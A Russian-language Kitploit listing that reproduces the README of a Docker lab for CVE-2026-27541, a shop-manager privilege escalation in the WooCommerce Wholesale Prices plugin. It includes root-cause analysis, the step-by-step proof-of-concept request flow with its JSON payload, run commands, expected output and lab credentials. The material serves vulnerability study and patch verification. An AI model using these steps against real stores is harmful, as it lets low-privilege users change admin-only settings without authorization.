Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27541-Analysis-Lab — # Docker-лаборатория для воспроизведения CVE-2026-27541 — аутентифицированное повышение привилегий в WooCommerce Wholesale Prices Сравнивает уязвимые и исправленные сборки, включает PoC-скрипт и анализ первопричины. | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

# Docker-лаборатория для воспроизведения CVE-2026-27541 — аутентифицированное повышение привилегий в WooCommerce Wholesale Prices Сравнивает уязвимые и исправленные сборки, включает PoC-скрипт и анализ первопричины.

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27541 — Лабораторный стенд повышения привилегий с аутентификацией в WooCommerce Wholesale Prices

vulnx

Обзор

Этот проект представляет собой локальный Docker-стенд для анализа и воспроизведения поведения CVE-2026-27541 в плагине WooCommerce Wholesale Prices / Wholesale Suite путём сравнения уязвимой и исправленной сборок бок о бок на одной машине.

Суть проблемы — нарушенный контроль доступа в следующей конечной точке REST API:

root@kitploit:~
/wp-json/wwp/v1/admin/save

Судя по исходному коду, используемому в этом стенде, этот маршрут уже имеет permission_callback как в уязвимой, так и в исправленной сборках. Однако в затронутой версии используется проверка прав, слишком широкая для операции записи настроек администратора:

  • уязвимая (2.2.6) → current_user_can( 'manage_woocommerce' )
  • исправленная (2.2.7) → current_user_can( 'manage_options' )
  • В этом стенде пользователь shopmgr с ролью shop_manager имеет manage_woocommerce=true, но не manage_options. В результате этот пользователь с низкими привилегиями может использовать действительную сессию входа плюс действительный X-WP-Nonce для вызова конечной точки сохранения настроек администратора в уязвимой сборке, тогда как исправленная сборка возвращает 403 rest_forbidden для того же запроса.


    Что доказывает этот стенд

    • Уязвимый узел (2.2.6): пользователь shopmgr может успешно вызвать POST /wp-json/wwp/v1/admin/save и изменить настройки плагина.
    • Исправленный узел (2.2.7): тот же запрос от shopmgr отклоняется с кодом 403.
    • Запрос без аутентификации: если конечная точка вызывается напрямую без аутентификации, обе сборки возвращают 403, что согласуется с тем, что это проблема повышения привилегий после аутентификации.
    • Доказательство сохранения: после успешного запуска PoC уязвимая сборка сохраняет опцию WordPress wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, тогда как исправленная сборка по-прежнему возвращает See wholesale prices.

    Топология стенда

    Сервисы

    • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
    • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
    • db-vuln / db-patched → отдельные базы данных MariaDB
    • seed-vuln / seed-patched → задания инициализации wp-cli, которые устанавливают WordPress, устанавливают плагин, создают пользователей и создают товар для тестирования

    Опубликованные порты

    • http://localhost:8081 → уязвимый
    • http://localhost:8082 → исправленный

    Базовые образы

    • WordPress: wordpress:6.8.1-php8.2-apache
    • MariaDB: mariadb:11.4.5
    • Инициализатор: wordpress:cli-php8.2

    Структура репозитория

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── README.md
    ├── patched/
    │   └── Dockerfile
    ├── vuln/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wp.sh
    └── poc.py
    

    Важные файлы

    • docker-compose.yml — определяет уязвимый и исправленный стеки с отдельными базами данных
    • scripts/seed-wp.sh — устанавливает WordPress, WooCommerce, целевой плагин и создаёт тестовых пользователей и данные товара
    • poc.py — PoC с минимальным вредом для входа, извлечения nonce и вызова конечной точки REST

    Инициализированная среда

    После готовности стека скрипт инициализации создаёт следующее:

    Пользователи

    • admin / AdminPass!234
    • shopmgr / ShopMgrPass!234

    Товар

    • slug: lab-product
    • обычная цена: 100
    • оптовая цена: 50

    Версии

    • WooCommerce: 10.6.0

    • WooCommerce Wholesale Prices:

      • уязвимая: 2.2.6
      • исправленная: 2.2.7

    Скрипт также записывает lab-secrets.json в каждый контейнер WordPress, чтобы можно было проверить инициализированные данные и информацию о версиях.


    Почему PoC наносит минимальный вред

    Этот PoC не пытается захватить сайт, изменить роли, установить плагины или выполнить shell.

    Он делает только следующее:

    1. входит как shopmgr
    2. посещает соответствующую страницу администратора для извлечения wpApiSettings.nonce
    3. отправляет запрос к целевой конечной точке
    4. изменяет легко наблюдаемое значение настройки:
    root@kitploit:~
    wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
    

    Эта настройка используется как наблюдаемый маркер для демонстрации того, что пользователь с низкими привилегиями может изменять конфигурацию, доступную только администратору.


    Сводка по уязвимости

    Затронутый компонент

    • Плагин: WooCommerce Wholesale Prices / Wholesale Suite
    • Маршрут: POST /wp-json/wwp/v1/admin/save

    Класс уязвимости

    • Нарушенный контроль доступа
    • Повышение привилегий с аутентификацией

    Практическое значение

    Хотя конечная точка требует действительную сессию и nonce, уязвимая версия всё равно позволяет пользователю с низкими привилегиями, такому как shopmgr с ролью shop_manager, вызывать конечную точку, которая должна быть доступна только администратору.

    Важный нюанс

    Это не уязвимость без аутентификации.

    Если конечная точка вызывается напрямую без сессии входа, и уязвимая, и исправленная сборки отклоняют запрос. Ошибка заключается в авторизации после аутентификации, а не в самой аутентификации.


    Анализ первопричины

    В уязвимой версии отсутствует не permission_callback. Недостаток в том, что она использует слишком широкую проверку прав (manage_woocommerce) для REST-действия, которое записывает настройки на стороне администратора.

    Из исходного кода в includes/class-wwp-admin-settings.php:

    • и уязвимая, и исправленная сборки регистрируют один и тот же маршрут: POST /wp-json/wwp/v1/admin/save
    • обе сборки направляют его в save_registered_settings()
    • обе сборки используют permission_admin_check() в качестве permission_callback
    • реальная разница — в проверяемой возможности

    Уязвимая (2.2.6)

    root@kitploit:~
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    Исправленная (2.2.7)

    root@kitploit:~
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    В этом стенде пользователь shopmgr с ролью shop_manager имеет manage_woocommerce=true, но не manage_options, поэтому он проходит уязвимую проверку, но не проходит исправленную.

    Что изменилось в исправленном поведении

    Исправленная версия делает больше, чем просто меняет ответ с 200 на 403. Она меняет логику контроля доступа, ужесточая требование к правам с manage_woocommerce до manage_options.

    Кроме того, путь сохранения в исправленной сборке дополнительно укреплён за счёт перехода от фильтрации на основе префиксов к явным спискам разрешений и более строгой санитизации.

    Почему PoC срабатывает на уязвимой версии

    PoC следует тому же потоку, что и реальный браузерный контекст:

    • вход как shopmgr
    • открытие страницы настроек плагина
    • извлечение wpApiSettings.nonce
    • вызов POST /wp-json/wwp/v1/admin/save

    Поскольку уязвимая сборка позволяет пользователям с manage_woocommerce вызывать эту операцию записи настроек, запрос успешен и приводит к постоянному изменению опции.

    Урок безопасности

    nonce помогает защитить от CSRF, но это не механизм авторизации.

    Наличие действительной сессии и действительного nonce не означает, что пользователю должно быть разрешено выполнять действия администратора. Использование слишком широкой возможности на привилегированной конечной точке достаточно для создания обхода авторизации с низкими привилегиями.


    Воспроизведение стенда

    Предварительные требования

    • Docker Desktop / Docker Engine
    • Docker Compose v2
    • Python 3
    • Доступ в интернет для первоначальной загрузки образов и плагина

    1) Запуск стенда

    root@kitploit:~
    docker compose up -d --build
    

    2) Проверка запущенных контейнеров

    root@kitploit:~
    docker compose ps
    

    Вы должны увидеть как минимум:

    • cve-2026-27541-vuln-1
    • cve-2026-27541-patched-1
    • cve-2026-27541-db-vuln-1
    • cve-2026-27541-db-patched-1

    3) Просмотр журналов инициализации

    root@kitploit:~
    docker compose logs -f seed-vuln seed-patched
    

    4) Проверка инициализированных метаданных

    root@kitploit:~
    docker compose exec vuln cat /var/www/html/lab-secrets.json
    docker compose exec patched cat /var/www/html/lab-secrets.json
    

    Пошаговое описание PoC

    poc.py работает следующим образом:

    1. GET /wp-login.php

    2. POST /wp-login.php для установления аутентифицированной сессии

    3. открытие страницы администратора плагина:

      root@kitploit:~
      /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
      
    4. извлечение wpApiSettings.nonce и корня REST из HTML/JavaScript

    5. отправка запроса на:

      root@kitploit:~
      /wp-json/wwp/v1/admin/save
      
    6. отправка полезной нагрузки:

    root@kitploit:~
    [
      {
        "key": "wwp_see_wholesale_prices_replacement_text",
        "value": "PWNED_BY_POC"
      }
    ]
    

    Запуск PoC

    Уязвимый узел

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8081 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Исправленный узел

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8082 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Ожидаемые результаты

    Уязвимый (8081)

    Ожидаемый вывод:

    root@kitploit:~
    [+] Base URL: http://localhost:8081
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: b6b6add11b
    [+] REST root: http://localhost:8081/wp-json/
    [+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
    [+] HTTP status: 200
    {"status":"success","message":"Settings saved successfully."}
    [+] PoC SUCCESS (pwnd)
    [*] Verify via incognito (not logged in):
        - Open product page
        - Look for: PWNED_BY_POC
    

    Исправленный (8082)

    Ожидаемый вывод:

    root@kitploit:~
    [+] Base URL: http://localhost:8082
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: 5c4ef2ac6f
    [+] REST root: http://localhost:8082/wp-json/
    [+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
    [+] HTTP status: 403
    {"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
    [-] PoC failed
    

    Ручная проверка

    Проверка через интерфейс

    После успешного выполнения PoC на уязвимом узле:

    1. выйдите из системы или откройте окно инкогнито
    2. откройте страницу товара или страницу витрины, на которой отображается замещающий текст
    3. найдите:
    root@kitploit:~
    PWNED_BY_POC
    

    Влияние на безопасность

    Практическое влияние этого класса ошибок заключается в том, что пользователь с низкими привилегиями может изменять конфигурацию, которая должна быть доступна только администратору, что может напрямую привести к:

    • подмене контента
    • манипуляции сообщениями на витрине
    • злоупотреблению бизнес-логикой

    Этот стенд намеренно использует безопасную и наблюдаемую полезную нагрузку, чтобы избежать изменения ролей или любой эскалации, выходящей за рамки необходимого для доказательства условия уязвимости.


    Очистка

    root@kitploit:~
    docker compose down -v
    

    Примечания по безопасности

    • Только для локального лабораторного использования
    • Все сервисы привязаны только к localhost
    • PoC намеренно наносит минимальный вред и использует безвредное наблюдаемое значение
    • Не адаптируйте этот PoC для использования против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения

    Ссылки

    • Запись CVE — CVE-2026-27541
    • Wordfence — Wholesale Suite <= 2.2.6 - Authenticated (Shop Manager) Privilege Escalation
    • Страница плагина на WordPress.org — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

    TL;DR

    Этот стенд показывает, что CVE-2026-27541 — это обход авторизации с низкими привилегиями после аутентификации в конечной точке настроек REST API плагина. Ошибка в версии 2.2.6 заключается не в отсутствии проверки прав, а в использовании слишком широкой возможности (manage_woocommerce) для действия, которое должно быть ограничено уровнем manage_options.

    В этом локальном окружении:

    • shopmgr проходит уязвимую проверку и может успешно изменять настройки на стороне администратора через POST /wp-json/wwp/v1/admin/save
    • тот же запрос блокируется на 2.2.7
    • уязвимая сборка сохраняет PWNED_BY_POC в целевой опции, тогда как исправленная сборка — нет

    В результате этот репозиторий служит как поведенческим, так и основанным на коде доказательством различия между уязвимой и исправленной версиями в полностью контролируемом локальном окружении.

    Скачать инструмент